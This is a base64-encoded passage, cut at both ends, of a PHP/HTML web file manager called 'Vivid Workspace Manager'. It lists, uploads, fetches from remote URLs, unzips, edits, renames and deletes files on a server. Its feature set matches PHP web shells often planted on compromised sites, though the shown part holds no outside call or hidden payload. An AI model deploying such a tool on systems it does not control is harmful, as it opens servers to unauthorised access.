JcbiAgICBpZiAoJGl0ZW0gPT09ICcuJyB8fCAkaXRlbSA9PT0gJy4uJykgY29udGludWU7XHJcbiAgICAkaXRlbVBhdGggPSAkY3VycmVudFdvcmtzcGFjZSAuICdcLycgLiAkaXRlbTtcclxuICAgIGlmIChpc19kaXIoJGl0ZW1QYXRoKSkge1xyXG4gICAgICAgICRmb2xkZXJzW10gPSAkaXRlbTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgJGZpbGVzW10gPSAkaXRlbTtcclxuICAgIH1cclxufVxyXG5zb3J0KCRmb2xkZXJzKTtcclxuc29ydCgkZmlsZXMpO1xyXG5cclxuXC9cLyBIZWxwZXIgZnVuY3Rpb25zXHJcbmZ1bmN0aW9uIHB1cmlmeUZpbGVOYW1lKCRuYW1lKSB7XHJcbiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCdcL1teYS16QS1aMC05Ll8tXVwvJywgJycsIHRyaW0oJG5hbWUpKTtcclxufVxyXG5cclxuZnVuY3Rpb24gaHVtYW5pemVGaWxlU2l6ZSgkYnl0ZXMpIHtcclxuICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIFwvIDEwNzM3NDE4MjQsIDIpIC4gJyBHQic7XHJcbiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyBcLyAxMDQ4NTc2LCAyKSAuICcgTUInO1xyXG4gICAgaWYgKCRieXRlcyA+PSAxMDI0KSByZXR1cm4gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgXC8gMTAyNCwgMikgLiAnIEtCJztcclxuICAgIHJldHVybiAkYnl0ZXMgLiAnIGJ5dGVzJztcclxufVxyXG5cclxuZnVuY3Rpb24gYnVpbGRQYXRoQ3J1bWJzKCRwYXRoLCAkYmFzZURpcikge1xyXG4gICAgXC9cLyBFbnN1cmUgcGF0aCBpcyB3aXRoaW4gYmFzZURpclxyXG4gICAgaWYgKHN0cnBvcygkcGF0aCwgJGJhc2VEaXIpICE9PSAwKSB7XHJcbiAgICAgICAgcmV0dXJuICc8c3BhbiBjbGFzcz1cInRleHQtcmVkLTUwMFwiPkludmFsaWQgcGF0aDxcL3NwYW4+JztcclxuICAgIH1cclxuXHJcbiAgICBcL1wvIEdldCByZWxhdGl2ZSBwYXRoIGZyb20gYmFzZURpclxyXG4gICAgJHJlbGF0aXZlUGF0aCA9IHN1YnN0cigkcGF0aCwgc3RybGVuKCRiYXNlRGlyKSk7XHJcbiAgICAkc2VnbWVudHMgPSBhcnJheV9maWx0ZXIoZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkcmVsYXRpdmVQYXRoKSk7XHJcbiAgICAkY3J1bWJzID0gW107XHJcbiAgICAkcGF0aEJ1aWxkZXIgPSAkYmFzZURpcjtcclxuXHJcbiAgICBcL1wvIFJvb3QgY3J1bWJcclxuICAgICRjcnVtYnNbXSA9ICc8YSBocmVmPVwiP3dvcmtzcGFjZT0nIC4gdXJsZW5jb2RlKCRiYXNlRGlyKSAuICdcIiBjbGFzcz1cInRleHQtdml2aWQtdGVhbCBob3Zlcjp1bmRlcmxpbmUgZm9udC1zZW1pYm9sZFwiPlJvb3Q8XC9hPic7XHJcblxyXG4gICAgXC9cLyBCdWlsZCBjcnVtYnMgZm9yIGVhY2ggc2VnbWVudFxyXG4gICAgZm9yZWFjaCAoJHNlZ21lbnRzIGFzICRzZWdtZW50KSB7XHJcbiAgICAgICAgJHBhdGhCdWlsZGVyIC49IERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkc2VnbWVudDtcclxuICAgICAgICBpZiAoaXNfZGlyKCRwYXRoQnVpbGRlcikgJiYgaXNfcmVhZGFibGUoJHBhdGhCdWlsZGVyKSkge1xyXG4gICAgICAgICAgICAkY3J1bWJzW10gPSAnPGEgaHJlZj1cIj93b3Jrc3BhY2U9JyAuIHVybGVuY29kZSgkcGF0aEJ1aWxkZXIpIC4gJ1wiIGNsYXNzPVwidGV4dC12aXZpZC10ZWFsIGhvdmVyOnVuZGVybGluZVwiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRzZWdtZW50KSAuICc8XC9hPic7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgJGNydW1ic1tdID0gJzxzcGFuIGNsYXNzPVwidGV4dC1ncmF5LTUwMFwiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRzZWdtZW50KSAuICc8XC9zcGFuPic7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG5cclxuICAgIHJldHVybiBpbXBsb2RlKCcgPHNwYW4gY2xhc3M9XCJ0ZXh0LXZpdmlkLWNoYXJjb2FsIG14LTFcIj5cLzxcL3NwYW4+ICcsICRjcnVtYnMpO1xyXG59XHJcblxyXG5mdW5jdGlvbiBkZWxldGVEaXJlY3RvcnkoJGRpcikge1xyXG4gICAgaWYgKCFmaWxlX2V4aXN0cygkZGlyKSkgcmV0dXJuIHRydWU7XHJcbiAgICBpZiAoIWlzX2RpcigkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTtcclxuICAgIGZvcmVhY2ggKHNjYW5kaXIoJGRpcikgYXMgJGl0ZW0pIHtcclxuICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlO1xyXG4gICAgICAgIGlmICghZGVsZXRlRGlyZWN0b3J5KCRkaXIgLiAnXC8nIC4gJGl0ZW0pKSByZXR1cm4gZmFsc2U7XHJcbiAgICB9XHJcbiAgICByZXR1cm4gcm1kaXIoJGRpcik7XHJcbn1cclxuPz5cclxuXHJcbjwhRE9DVFlQRSBodG1sPlxyXG48aHRtbCBsYW5nPVwiZW5cIj5cclxuPGhlYWQ+XHJcbiAgICA8bWV0YSBjaGFyc2V0PVwiVVRGLThcIj5cclxuICAgIDxtZXRhIG5hbWU9XCJ2aWV3cG9ydFwiIGNvbnRlbnQ9XCJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wXCI+XHJcbiAgICA8dGl0bGU+Vml2aWQgV29ya3NwYWNlIE1hbmFnZXI8XC90aXRsZT5cclxuICAgIDxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2Nkbi50YWlsd2luZGNzcy5jb21cIj48XC9zY3JpcHQ+XHJcbiAgICA8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9raXQuZm9udGF3ZXNvbWUuY29tXC9hMDc2ZDA1Mzk5LmpzXCIgY3Jvc3NvcmlnaW49XCJhbm9ueW1vdXNcIj48XC9zY3JpcHQ+XHJcbiAgICA8c3R5bGU+XHJcbiAgICAgICAgLmJnLXZpdmlkLXNsYXRlIHsgYmFja2dyb3VuZC1jb2xvcjogI2UyZThmMDsgfVxyXG4gICAgICAgIC5iZy12aXZpZC10ZWFsIHsgYmFja2dyb3VuZC1jb2xvcjogIzE0YjhhNjsgfVxyXG4gICAgICAgIC5iZy12aXZpZC10ZWFsLWRhcmsgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMGY3NjZlOyB9XHJcbiAgICAgICAgLnRleHQtdml2aWQtY2hhcmNvYWwgeyBjb2xvcjogIzExMTgyNzsgfVxyXG4gICAgICAgIC52aXZpZC10cmFuc2l0aW9uIHsgdHJhbnNpdGlvbjogYWxsIDAuM3MgZWFzZS1pbi1vdXQ7IH1cclxuICAgICAgICAudml2aWQtaG92ZXIgeyB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gMC4ycywgYm94LXNoYWRvdyAwLjJzOyB9XHJcbiAgICAgICAgLnZpdmlkLWhvdmVyOmhvdmVyIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0ycHgpOyBib3gtc2hhZG93OiAwIDRweCA2cHggcmdiYSgwLCAwLCAwLCAwLjEpOyB9XHJcbiAgICAgICAgLnN0aWNreS1oZWFkZXIgdGggeyBwb3NpdGlvbjogc3RpY2t5OyB0b3A6IDA7IGJhY2tncm91bmQ6ICNmM2Y0ZjY7IHotaW5kZXg6IDEwOyB9XHJcbiAgICA8XC9zdHlsZT5cclxuPFwvaGVhZD5cclxuPGJvZHkgY2xhc3M9XCJiZy12aXZpZC1zbGF0ZSBtaW4taC1zY3JlZW5cIj5cclxuICAgIDxkaXYgY2xhc3M9XCJjb250YWluZXIgbXgtYXV0byBwLTZcIj5cclxuICAgICAgICA8aDEgY2xhc3M9XCJ0ZXh0LTR4bCBmb250LWJvbGQgbWItOCB0ZXh0LXZpdmlkLWNoYXJjb2FsXCI+Vml2aWQgV29ya3NwYWNlIE1hbmFnZXI8XC9oMT5cclxuXHJcbiAgICAgICAgPCEtLSBQYXRoIENydW1icyAtLT5cclxuICAgICAgICA8bmF2IGNsYXNzPVwibWItNiB0ZXh0LWxnIGZsZXggaXRlbXMtY2VudGVyXCI+PD9waHAgZWNobyBidWlsZFBhdGhDcnVtYnMoJGN1cnJlbnRXb3Jrc3BhY2UsICRiYXNlRGlyKTsgPz48XC9uYXY+XHJcblxyXG4gICAgICAgIDwhLS0gQWxlcnQgTWVzc2FnZSAtLT5cclxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJGFsZXJ0TWVzc2FnZSkpOiA/PlxyXG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYmctZ3JlZW4tMTAwIGJvcmRlci1sLTQgYm9yZGVyLWdyZWVuLTUwMCB0ZXh0LWdyZWVuLTcwMCBwLTQgbWItNiByb3VuZGVkLWxnXCIgcm9sZT1cImFsZXJ0XCI+XHJcbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGFsZXJ0TWVzc2FnZSk7ID8+XHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuXHJcbiAgICAgICAgPCEtLSBBY3Rpb24gQ2FyZHMgLS0+XHJcbiAgICAgICAgPGRpdiBjbGFzcz1cImdyaWQgZ3JpZC1jb2xzLTEgbWQ6Z3JpZC1jb2xzLTMgZ2FwLTYgbWItOFwiPlxyXG4gICAgICAgICAgICA8IS0tIEFkZCBGb2xkZXIgLS0+XHJcbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJiZy13aGl0ZSBwLTYgcm91bmRlZC14bCBzaGFkb3cteGwgdml2aWQtaG92ZXJcIj5cclxuICAgICAgICAgICAgICAgIDxoMyBjbGFzcz1cInRleHQteGwgZm9udC1zZW1pYm9sZCBtYi00IHRleHQtdml2aWQtY2hhcmNvYWxcIj5OZXcgRm9sZGVyPFwvaDM+XHJcbiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgY2xhc3M9XCJmbGV4IHNwYWNlLXgtM1wiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImNzcmZfdG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXSk7ID8+XCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZvbGRlcl9uYW1lXCIgY2xhc3M9XCJmbGV4LTEgcC0zIGJvcmRlciByb3VuZGVkLWxnIGZvY3VzOm91dGxpbmUtbm9uZSBmb2N1czpyaW5nLTIgZm9jdXM6cmluZy12aXZpZC10ZWFsXCIgcGxhY2Vob2xkZXI9XCJGb2xkZXIgbmFtZVwiIHJlcXVpcmVkPlxyXG4gICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJhZGRfZGlyZWN0b3J5XCIgY2xhc3M9XCJiZy12aXZpZC10ZWFsIHRleHQtd2hpdGUgcC0zIHJvdW5kZWQtbGcgaG92ZXI6Ymctdml2aWQtdGVhbC1kYXJrIHZpdmlkLXRyYW5zaXRpb25cIj5BZGQ8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgICAgICA8IS0tIFVwbG9hZCBJdGVtIC0tPlxyXG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYmctd2hpdGUgcC02IHJvdW5kZWQteGwgc2hhZG93LXhsIHZpdmlkLWhvdmVyXCI+XHJcbiAgICAgICAgICAgICAgICA8aDMgY2xhc3M9XCJ0ZXh0LXhsIGZvbnQtc2VtaWJvbGQgbWItNCB0ZXh0LXZpdmlkLWNoYXJjb2FsXCI+VXBsb2FkIEl0ZW08XC9oMz5cclxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBlbmN0eXBlPVwibXVsdGlwYXJ0XC9mb3JtLWRhdGFcIiBjbGFzcz1cImZsZXggc3BhY2UteC0zXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3NyZl90b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsnY3NyZl90b2tlbiddKTsgPz5cIj5cclxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkZWRfaXRlbVwiIGNsYXNzPVwiZmxleC0xIHAtMyBib3JkZXIgcm91bmRlZC1sZ1wiIHJlcXVpcmVkPlxyXG4gICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYmctdml2aWQtdGVhbCB0ZXh0LXdoaXRlIHAtMyByb3VuZGVkLWxnIGhvdmVyOmJnLXZpdmlkLXRlYWwtZGFyayB2aXZpZC10cmFuc2l0aW9uXCI+VXBsb2FkPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgPFwvZGl2PlxyXG5cclxuICAgICAgICAgICAgPCEtLSBGZXRjaCBSZW1vdGUgSXRlbSAtLT5cclxuICAgICAgICAgICAgPD9waHAgaWYgKCRlbmFibGVSZW1vdGVGZXRjaCk6ID8+XHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYmctd2hpdGUgcC02IHJvdW5kZWQteGwgc2hhZG93LXhsIHZpdmlkLWhvdmVyXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGgzIGNsYXNzPVwidGV4dC14bCBmb250LXNlbWlib2xkIG1iLTQgdGV4dC12aXZpZC1jaGFyY29hbFwiPkZldGNoIFJlbW90ZSBJdGVtPFwvaDM+XHJcbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZmxleCBzcGFjZS14LTNcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3NyZl90b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsnY3NyZl90b2tlbiddKTsgPz5cIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ1cmxcIiBuYW1lPVwicmVtb3RlX3VybFwiIGNsYXNzPVwiZmxleC0xIHAtMyBib3JkZXIgcm91bmRlZC1sZyBmb2N1czpvdXRsaW5lLW5vbmUgZm9jdXM6cmluZy0yIGZvY3VzOnJpbmctdml2aWQtdGVhbFwiIHBsYWNlaG9sZGVyPVwiaHR0cHM6XC9cL2V4YW1wbGUuY29tXC9pdGVtLnppcFwiIHJlcXVpcmVkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZmV0Y2hfcmVtb3RlXCIgY2xhc3M9XCJiZy12aXZpZC10ZWFsIHRleHQtd2hpdGUgcC0zIHJvdW5kZWQtbGcgaG92ZXI6Ymctdml2aWQtdGVhbC1kYXJrIHZpdmlkLXRyYW5zaXRpb25cIj5GZXRjaDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgIDwhLS0gSXRlbSBUYWJsZSAtLT5cclxuICAgICAgICA8ZGl2IGNsYXNzPVwiYmctd2hpdGUgcm91bmRlZC14bCBzaGFkb3cteGwgb3ZlcmZsb3cteC1hdXRvXCI+XHJcbiAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInctZnVsbFwiPlxyXG4gICAgICAgICAgICAgICAgPHRoZWFkIGNsYXNzPVwiYmctZ3JheS0xMDBcIj5cclxuICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9XCJzdGlja3ktaGVhZGVyXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz1cInAtNCB0ZXh0LWxlZnQgdGV4dC12aXZpZC1jaGFyY29hbFwiPk5hbWU8XC90aD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRoIGNsYXNzPVwicC00IHRleHQtbGVmdCB0ZXh0LXZpdmlkLWNoYXJjb2FsXCI+VHlwZTxcL3RoPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggY2xhc3M9XCJwLTQgdGV4dC1sZWZ0IHRleHQtdml2aWQtY2hhcmNvYWxcIj5TaXplPFwvdGg+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz1cInAtNCB0ZXh0LWxlZnQgdGV4dC12aXZpZC1jaGFyY29hbFwiPldyaXRhYmxlPFwvdGg+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz1cInAtNCB0ZXh0LWxlZnQgdGV4dC12aXZpZC1jaGFyY29hbFwiPkxhc3QgTW9kaWZpZWQ8XC90aD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRoIGNsYXNzPVwicC00IHRleHQtbGVmdCB0ZXh0LXZpdmlkLWNoYXJjb2FsXCI+QWN0aW9uczxcL3RoPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICAgICAgPFwvdGhlYWQ+XHJcbiAgICAgICAgICAgICAgICA8dGJvZHk+XHJcbiAgICAgICAgICAgICAgICAgICAgPCEtLSBQYXJlbnQgV29ya3NwYWNlIC0tPlxyXG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkY3VycmVudFdvcmtzcGFjZSAhPT0gJGJhc2VEaXIpOiA/PlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9XCJib3JkZXItdCBob3ZlcjpiZy1ncmF5LTUwIHZpdmlkLXRyYW5zaXRpb25cIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cInAtNFwiPjxpIGNsYXNzPVwiZmFzIGZhLWZvbGRlciBtci0yIHRleHQtdml2aWQtdGVhbFwiPjxcL2k+PGEgaHJlZj1cIj93b3Jrc3BhY2U9PD9waHAgZWNobyB1cmxlbmNvZGUoZGlybmFtZSgkY3VycmVudFdvcmtzcGFjZSkpOyA/PlwiIGNsYXNzPVwidGV4dC12aXZpZC10ZWFsIGhvdmVyOnVuZGVybGluZVwiPi4uIChQYXJlbnQgV29ya3NwYWNlKTxcL2E+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj4tPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj4tPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj4tPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj4tPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcblxyXG4gICAgICAgICAgICAgICAgICAgIDwhLS0gRm9sZGVycyAtLT5cclxuICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPVwiYm9yZGVyLXQgaG92ZXI6YmctZ3JheS01MCB2aXZpZC10cmFuc2l0aW9uXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj48aSBjbGFzcz1cImZhcyBmYS1mb2xkZXIgbXItMiB0ZXh0LXZpdmlkLXRlYWxcIj48XC9pPjxhIGhyZWY9XCI/d29ya3NwYWNlPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50V29ya3NwYWNlIC4gJ1wvJyAuICRmb2xkZXIpOyA/PlwiIGNsYXNzPVwidGV4dC12aXZpZC10ZWFsIGhvdmVyOnVuZGVybGluZVwiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyKTsgPz48XC9hPjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC00XCI+Rm9sZGVyPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj4tPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj48P3BocCBlY2hvIGlzX3dyaXRhYmxlKCRjdXJyZW50V29ya3NwYWNlIC4gJ1wvJyAuICRmb2xkZXIpID8gJ1llcycgOiAnTm8nOyA/PjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC00XCI+PD9waHAgZWNobyBkYXRlKFwiWS1tLWQgSDppOnNcIiwgZmlsZW10aW1lKCRjdXJyZW50V29ya3NwYWNlIC4gJ1wvJyAuICRmb2xkZXIpKTsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cInAtNCBzcGFjZS14LTNcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJvcGVuUmVuYW1lRGlhbG9nKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZvbGRlcik7ID8+JylcIiBjbGFzcz1cImJnLXllbGxvdy01MDAgdGV4dC13aGl0ZSBweC0zIHB5LTEgcm91bmRlZC1sZyBob3ZlcjpiZy15ZWxsb3ctNjAwIHZpdmlkLXRyYW5zaXRpb25cIj5SZW5hbWU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPVwiY29uZmlybURlbGV0ZSgnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXIpOyA/PicpXCIgY2xhc3M9XCJiZy1yZWQtNTAwIHRleHQtd2hpdGUgcHgtMyBweS0xIHJvdW5kZWQtbGcgaG92ZXI6YmctcmVkLTYwMCB2aXZpZC10cmFuc2l0aW9uXCI+RGVsZXRlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+XHJcblxyXG4gICAgICAgICAgICAgICAgICAgIDwhLS0gRmlsZXMgLS0+XHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPVwiYm9yZGVyLXQgaG92ZXI6YmctZ3JheS01MCB2aXZpZC10cmFuc2l0aW9uXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj48aSBjbGFzcz1cImZhcyBmYS1maWxlIG1yLTIgdGV4dC12aXZpZC10ZWFsXCI+PFwvaT48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/PjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC00XCI+PD9waHAgZWNobyBzdHJ0b3VwcGVyKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pKTsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cInAtNFwiPjw/cGhwIGVjaG8gaHVtYW5pemVGaWxlU2l6ZShmaWxlc2l6ZSgkY3VycmVudFdvcmtzcGFjZSAuICdcLycgLiAkZmlsZSkpOyA/PjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC00XCI+PD9waHAgZWNobyBpc193cml0YWJsZSgkY3VycmVudFdvcmtzcGFjZSAuICdcLycgLiAkZmlsZSkgPyAnWWVzJyA6ICdObyc7ID8+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTRcIj48P3BocCBlY2hvIGRhdGUoXCJZLW0tZCBIOmk6c1wiLCBmaWxlbXRpbWUoJGN1cnJlbnRXb3Jrc3BhY2UgLiAnXC8nIC4gJGZpbGUpKTsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cInAtNCBzcGFjZS14LTNcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJlZGl0SXRlbSgnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz4nKVwiIGNsYXNzPVwiYmctdml2aWQtdGVhbCB0ZXh0LXdoaXRlIHB4LTMgcHktMSByb3VuZGVkLWxnIGhvdmVyOmJnLXZpdmlkLXRlYWwtZGFyayB2aXZpZC10cmFuc2l0aW9uXCI+RWRpdDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJvcGVuUmVuYW1lRGlhbG9nKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/PicpXCIgY2xhc3M9XCJiZy15ZWxsb3ctNTAwIHRleHQtd2hpdGUgcHgtMyBweS0xIHJvdW5kZWQtbGcgaG92ZXI6YmcteWVsbG93LTYwMCB2aXZpZC10cmFuc2l0aW9uXCI+UmVuYW1lPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz1cImNvbmZpcm1EZWxldGUoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+JylcIiBjbGFzcz1cImJnLXJlZC01MDAgdGV4dC13aGl0ZSBweC0zIHB5LTEgcm91bmRlZC1sZyBob3ZlcjpiZy1yZWQtNjAwIHZpdmlkLXRyYW5zaXRpb25cIj5EZWxldGU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pID09PSAnemlwJyk6ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImlubGluZVwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3NyZl90b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsnY3NyZl90b2tlbiddKTsgPz5cIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFyY2hpdmVfbmFtZVwiIHZhbHVlPVwiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz5cIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJ1bnppcF9hcmNoaXZlXCIgY2xhc3M9XCJiZy1ncmVlbi01MDAgdGV4dC13aGl0ZSBweC0zIHB5LTEgcm91bmRlZC1sZyBob3ZlcjpiZy1ncmVlbi02MDAgdml2aWQtdHJhbnNpdGlvblwiPjxpIGNsYXNzPVwiZmFzIGZhLWZpbGUtYXJjaGl2ZSBtci0xXCI+PFwvaT5VbnppcDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5